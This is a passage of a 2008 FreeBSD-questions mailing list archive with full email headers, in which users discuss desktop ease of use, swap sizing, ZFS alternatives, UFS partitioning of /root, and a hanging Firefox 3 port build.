[IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C7C4C1065670 for ; Tue, 2 Dec 2008 19:13:04 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 701218FC13 for ; Tue, 2 Dec 2008 19:13:04 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB2J862H091067; Tue, 2 Dec 2008 14:08:06 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB2J86TM091066; Tue, 2 Dec 2008 14:08:06 -0500 (EST) (envelope-from jerrymc) Date: Tue, 2 Dec 2008 14:08:06 -0500 From: Jerry McAllister To: Bob McConnell Message-ID: <20081202190806.GA91047@gizmo.acns.msu.edu> References: <20081202162808.GA5851@kokopelli.hydra> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.2i Cc: Chad Perrin , freebsd-questions@freebsd.org Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:13:04 -0000 On Tue, Dec 02, 2008 at 01:41:43PM -0500, Bob McConnell wrote: > On Behalf Of Chad Perrin > > On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: > >> On Behalf Of Chad Perrin > >> > >> On the other hand, both Unix and Linux have a long way to go before > they > >> can match Microsoft's ease of use on the GUI. I believe the best way > >> to attack that problem is to find a new paradigm to replace the > desktop, > >> which is not a great interface model to begin with. > > > > I guess that depends on your definition of "ease of use". In my > little > > world, "ease of use" involves the ease, efficiency, and speed of task > > completion via an interface with which I'm familiar. It seems from > what > > you said that in your little world "ease of use" means "familiarity", > > since that's really the major win for MS Windows interfaces, to the > > majority of its users. > > Here are two simple tests for ease of use. > > 1. View a tree of files and directories, some local some remote mounts. > Highlight a random group of those objects. Move the entire group in one > motion by dragging and dropping the collection to a new location in the > tree. That's easy. Actually easier with just a simple mv command. Who cares about drag and drop. That is harder. > > 2. Do an SMB mount of remote directories onto the desktop or your home > directory. Open any application and access files in that directory as > easily as when they are on the local drive. Works fine around here. ////jerry > > I have not been able to do either of these on Ubuntu 7.10 or > XFCE/Slackware 12. In the first case, I need to cut and paste the > individual files one at a time. I can't even move a directory. In the > second, I have been unable to get Amarok, vlc, xine or any other > multimedia application I have tried, to recognize the SMB mounted > directory. It is invisible to them. At the application level there > should be absolutely no difference between a local drive and a mounted > remote drive, no matter what protocol was used to mount it. The > application should not need to implement smb:// itself. > > I am not even going to talk about how difficult it is to find and modify > basic configuration files, particularly after the LSB crowd really > screwed everything up. > > Once you fix basic problems like these, then we can talk about how to > redefine ease of use. > > Bob McConnell > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:15:10 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E5E701065673 for ; Tue, 2 Dec 2008 19:15:10 +0000 (UTC) (envelope-from perlcat@alltel.net) Received: from ispmxmta05-srv.windstream.net (ispmxmta05-srv.windstream.net [166.102.165.166]) by mx1.freebsd.org (Postfix) with ESMTP id 8B9B28FC22 for ; Tue, 2 Dec 2008 19:15:10 +0000 (UTC) (envelope-from perlcat@alltel.net) Received: from ispmxaamta04-gx.windstream.net ([67.206.61.15]) by ispmxmta05-srv.windstream.net with ESMTP id <20081202191509.IEPS4923.ispmxmta05-srv.windstream.net@ispmxaamta04-gx.windstream.net> for ; Tue, 2 Dec 2008 13:15:09 -0600 Received: from ext-b14-271.omhq.uprr.com ([67.206.61.15]) by ispmxaamta04-gx.windstream.net with ESMTP id <20081202191509.VAVE10030.ispmxaamta04-gx.windstream.net@ext-b14-271.omhq.uprr.com> for ; Tue, 2 Dec 2008 13:15:09 -0600 From: Tyson Boellstorff To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 13:14:59 -0600 User-Agent: KMail/1.9.7 References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> In-Reply-To: <49358640.3060600@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812021314.59374.perlcat@alltel.net> X-Cloudmark-Analysis: v=1.0 c=1 a=CTE117Eg/iuqh1XhPg9HnQ==:17 a=tWnqLU9Uxqm9q-yhfhYA:9 a=i0k1KJ19piANxR2RXOEA:7 a=sKhxfwQdAjqLObr_dx8zjs-PSO8A:4 a=MxZ3bB5I4kYA:10 Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:15:11 -0000 > > Once you fix basic problems like these, then we can talk about how to > > redefine ease of use. > > > > Bob McConnell > > ease of use is always relative to the person using. > Ease of use is also relative to the training investment. In X, a moderate investment some 20-odd years ago still pays, even through the evolvement of interfaces like KDE, which follows the same general structure. With certain other commercial products, you get to learn it again, and again, and again. What I've had to re-learn to support Windows 1.1, 2.0. 3.0. 3.11, 95, NT, ME, 2000, XP, and Vista has changed dramtically over the years, and they're not done making it usable for the lowest common denominator yet, especially when you throw in de-enhancements like (un)FriendlyTree, a.k.a. "Where the @!$#@! are my files?!?!?!". This is why I can easily justify teaching my elders FreeBSD -- they unquestionably have more to learn, but they only learn it once, so the investment pays off. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:15:43 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 45A881065679 for ; Tue, 2 Dec 2008 19:15:43 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 055A28FC08 for ; Tue, 2 Dec 2008 19:15:42 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB2JAlns091113; Tue, 2 Dec 2008 14:10:47 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB2JAlMH091112; Tue, 2 Dec 2008 14:10:47 -0500 (EST) (envelope-from jerrymc) Date: Tue, 2 Dec 2008 14:10:47 -0500 From: Jerry McAllister To: Wojciech Puchar Message-ID: <20081202191047.GB91047@gizmo.acns.msu.edu> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081202182554.GA90678@gizmo.acns.msu.edu> <20081202200112.L16307@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081202200112.L16307@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.4.2.2i Cc: Jerry McAllister , "Anthony M. Rasat" , freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:15:43 -0000 On Tue, Dec 02, 2008 at 08:01:22PM +0100, Wojciech Puchar wrote: > >Yes, have some swap. The system uses this space for more than swapping > >out processes. It uses it for paging and for crash dumping. The > >rule of thumb is 2.2 times memory size. > > why not 2.17? Sounds good to me. Takes one more character to type... ////jerry > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:23:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D3DA11065670 for ; Tue, 2 Dec 2008 19:23:15 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 5FCB88FC13 for ; Tue, 2 Dec 2008 19:23:13 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2JN4sq016389; Tue, 2 Dec 2008 20:23:04 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2JN3jU016386; Tue, 2 Dec 2008 20:23:03 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 20:23:03 +0100 (CET) From: Wojciech Puchar To: Jerry McAllister In-Reply-To: <20081202191047.GB91047@gizmo.acns.msu.edu> Message-ID: <20081202202241.S16385@wojtek.tensor.gdynia.pl> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081202182554.GA90678@gizmo.acns.msu.edu> <20081202200112.L16307@wojtek.tensor.gdynia.pl> <20081202191047.GB91047@gizmo.acns.msu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "Anthony M. Rasat" , freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:23:15 -0000 >>> Yes, have some swap. The system uses this space for more than swapping >>> out processes. It uses it for paging and for crash dumping. The >>> rule of thumb is 2.2 times memory size. >> >> why not 2.17? > > Sounds good to me. Takes one more character to type... and both 2.2 and 2.17 is nonsense. the only rule is use as much as needed From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:24:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1FC291065677 for ; Tue, 2 Dec 2008 19:24:06 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 63BC78FC1D for ; Tue, 2 Dec 2008 19:24:05 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2JNnxE016396; Tue, 2 Dec 2008 20:23:49 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2JNnP7016393; Tue, 2 Dec 2008 20:23:49 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 20:23:49 +0100 (CET) From: Wojciech Puchar To: Tyson Boellstorff In-Reply-To: <200812021314.59374.perlcat@alltel.net> Message-ID: <20081202202334.H16385@wojtek.tensor.gdynia.pl> References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> <200812021314.59374.perlcat@alltel.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:24:06 -0000 > This is why I can easily justify teaching my elders FreeBSD -- they > unquestionably have more to learn, but they only learn it once, so the > investment pays off. but most people don't like to learn. even once. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:24:43 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 43E4D1065672; Tue, 2 Dec 2008 19:24:43 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id E806B8FC0A; Tue, 2 Dec 2008 19:24:41 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2JOXBg016407; Tue, 2 Dec 2008 20:24:33 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2JOXCK016404; Tue, 2 Dec 2008 20:24:33 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 20:24:33 +0100 (CET) From: Wojciech Puchar To: Ivan Voras In-Reply-To: Message-ID: <20081202202359.V16385@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:24:43 -0000 > > I don't think HAMMER intends to implement a significant portion of ZFS's it intends to implement what's needed. anyway - lets wait when it will be really finished From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:24:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B9CA8106570A for ; Tue, 2 Dec 2008 19:24:53 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 79B768FC1B for ; Tue, 2 Dec 2008 19:24:53 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 737CC3CFFE; Tue, 2 Dec 2008 20:24:39 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB2JOa30001627; Tue, 2 Dec 2008 20:24:36 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Tue, 2 Dec 2008 20:24:36 +0100 From: Polytropon To: Pieter Donche Message-Id: <20081202202436.88c54b26.freebsd@edvax.de> In-Reply-To: References: <20081202111740.96805018.freebsd@edvax.de> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: "mail.list freebsd-questions" Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:24:53 -0000 On Tue, 2 Dec 2008 11:53:23 +0100 (CET), Pieter Donche wrote: > I know / is the "root partition", but /root is the home-directory of > the user root (/etc/passwd: root:*:0:0:Charlie &:/root:/bin/csh). > I doubt this will ever be needed to be large? There is no special advice about what /root should contain. As you mentioned correctly, this content belongs to the system administrator "root". In the most cases I've seen, root stores a backup of configuration files and useful scripts that no one else should be able to use. And when you take into mind that many users use the sudo command instead of logging in as root, there's less use for this directory. My thought: It won't get large. > If its not large > fsck neither will spend much time in it. So I guess it's just safe > not to make this a separate BSD-partiton ? No separate partition, correct. It's okay to make / at 1 GB max, and fsck won't run for long. > Yes, but it's hard to find out what is best... I'm constantly > swinged between the one (/ including /tmp /var /usr) and the > other (all separate) option ... In fact, there is no "the best", it completely depends on what you're going to do with the system. It has been explained before, but I'd like to mention some advantages of the "partitions approach" and the "one partition approach": The first one allows you to dump / restore data partition-wise, but when a partition is occupied 100%, the trouble starts. You don't have this problem when you have everything on one partition, but a "runaway disk space consumer" (e. g. a faulty program) can occupy all disk space causing problems for processes that would like to write to /tmp or /var. Finally, changing the paradigm would usually be combined with a complete re-installation. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:24:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DB1871065673; Tue, 2 Dec 2008 19:24:55 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 196E68FC22; Tue, 2 Dec 2008 19:24:54 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2JOliV016418; Tue, 2 Dec 2008 20:24:47 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2JOlU1016415; Tue, 2 Dec 2008 20:24:47 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 20:24:47 +0100 (CET) From: Wojciech Puchar To: Ivan Voras In-Reply-To: Message-ID: <20081202202441.J16385@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:24:55 -0000 >> time to wait and see if they will really make dragonfly faster than >> FreeBSD (it's their goal)... > > http://people.freebsd.org/~kris/scaling/dfly.html > > Good luck to them, they need it :) indeed:) From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:27:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 542CB1065672 for ; Tue, 2 Dec 2008 19:27:34 +0000 (UTC) (envelope-from christopher.maness@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.227]) by mx1.freebsd.org (Postfix) with ESMTP id 287158FC1F for ; Tue, 2 Dec 2008 19:27:34 +0000 (UTC) (envelope-from christopher.maness@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so3033037rvf.43 for ; Tue, 02 Dec 2008 11:27:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:sender :to:subject:mime-version:content-type:content-transfer-encoding :content-disposition:x-google-sender-auth; bh=RzOeozyfRiV8iP2mLNjDAqsDrpwOHqFYToDhrGoNqGI=; b=RwRDbMEmUCApStIWPE7UCVnPYA24QIt3etchUhB+w+4T0TCca83miDoY9I6BeY8PVw 9ITM/mK4bc5KOYywBO7sgcGPyY2+TukaVKGEG8MAGu2mwNOfM14oixOGs920GNSszV5w +/nD1lqSggJ2JL0CpOawExp/rjwOZ02F6sulw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:sender:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition:x-google-sender-auth; b=Qe4FqxXmNaUE/lvg4oGzi6BeBhr2XWUmvXDHq6qxtkh60FGNttxTano/2SF/aTcDIo DQk35tstrc/fXDdY/YXtEBSWX+WgjXIhY0lT5TntPgbfg/aTiMezm1ABmRlBIFV/4MWu sewfvF+Tr/g9WsMxt7PGjl5GNWBdCEwHc82zc= Received: by 10.140.171.18 with SMTP id t18mr5912967rve.10.1228246053903; Tue, 02 Dec 2008 11:27:33 -0800 (PST) Received: by 10.141.154.14 with HTTP; Tue, 2 Dec 2008 11:27:33 -0800 (PST) Message-ID: Date: Tue, 2 Dec 2008 11:27:33 -0800 From: "Chris Maness" Sender: christopher.maness@gmail.com To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Google-Sender-Auth: 054ac3696e1a3b85 Subject: Firefox Compile Issues X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:27:34 -0000 I am compiling firefox 3. It just hangs at these lines. /usr/ports/www/firefox3/work/mozilla/security/nss/cmd/shlibsign/FreeBSD7.0_OPT.OBJ/shlibsign -v -i /usr/ports/www/firefox3/work/mozilla/dist/lib/libsoftokn3.so From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:42:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CB8CC1065670 for ; Tue, 2 Dec 2008 19:42:25 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from mail-qy0-f18.google.com (mail-qy0-f18.google.com [209.85.221.18]) by mx1.freebsd.org (Postfix) with ESMTP id 6A56E8FC0A for ; Tue, 2 Dec 2008 19:42:25 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by qyk11 with SMTP id 11so3711009qyk.19 for ; Tue, 02 Dec 2008 11:42:24 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type; bh=Hj6+N4kbo/MB75ArIUHhMFiCdbUIQu4X8oUNmw34s0M=; b=skMSnkfyWzJ7o0qVJ/Qc24Waa0uFsmaw4i6HK3wQuBQOpKF/Q3zs+7iE5zY72Gt1yJ 5mxPiPlrGK3F5y5+YKy3zxWTB4PwkO5acbWLxeeAB6rqNIUef/FzOJCAcPOgNydfU3/8 1CnzXA0DKaf1wcT8zZHofkL1XJEy4WYkuRl1o= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type; b=VUYBh5murcjBW4LkujqP0WLfdvaByszMr28/44VWlzRJ5JU3zOOtmKg87sALcdnVom 5cRTheJ5k4X3bqB+O6L/vHqdp+2k+L8vNJcreslBY/CiaioAaM9P5XoJfJ8OXxuTQGCV Jd7wEcSxaPVR4t7vurW9OMF5Z/Tib+t4KVYiQ= Received: by 10.215.101.20 with SMTP id d20mr12113117qam.50.1228246944676; Tue, 02 Dec 2008 11:42:24 -0800 (PST) Received: from ?192.168.1.148? (adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 8sm2091461ywg.33.2008.12.02.11.42.23 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 11:42:23 -0800 (PST) Message-ID: <49358F9D.7090006@gmail.com> Date: Tue, 02 Dec 2008 14:42:21 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: Tyson Boellstorff References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> <200812021314.59374.perlcat@alltel.net> In-Reply-To: <200812021314.59374.perlcat@alltel.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:42:26 -0000 Tyson Boellstorff wrote: >>> Once you fix basic problems like these, then we can talk about how to >>> redefine ease of use. >>> >>> Bob McConnell >>> >> ease of use is always relative to the person using. >> >> > > Ease of use is also relative to the training investment. In X, a moderate > investment some 20-odd years ago still pays, even through the evolvement of > interfaces like KDE, which follows the same general structure. > > With certain other commercial products, you get to learn it again, and again, > and again. What I've had to re-learn to support Windows 1.1, 2.0. 3.0. 3.11, > 95, NT, ME, 2000, XP, and Vista has changed dramtically over the years, and > they're not done making it usable for the lowest common denominator yet, > especially when you throw in de-enhancements like (un)FriendlyTree, > a.k.a. "Where the @!$#@! are my files?!?!?!". > > This is why I can easily justify teaching my elders FreeBSD -- they > unquestionably have more to learn, but they only learn it once, so the > investment pays off. > you basically lengthened what i said. :-) also, using classic menus from xp and up looks like win95 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 20:00:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 400E110656D4 for ; Tue, 2 Dec 2008 20:00:15 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 004F38FC16 for ; Tue, 2 Dec 2008 20:00:14 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB2JtGXM091291; Tue, 2 Dec 2008 14:55:16 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB2JtGI3091290; Tue, 2 Dec 2008 14:55:16 -0500 (EST) (envelope-from jerrymc) Date: Tue, 2 Dec 2008 14:55:16 -0500 From: Jerry McAllister To: Wojciech Puchar Message-ID: <20081202195516.GA91244@gizmo.acns.msu.edu> References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> <200812021314.59374.perlcat@alltel.net> <20081202202334.H16385@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081202202334.H16385@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org, Tyson Boellstorff Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 20:00:15 -0000 On Tue, Dec 02, 2008 at 08:23:49PM +0100, Wojciech 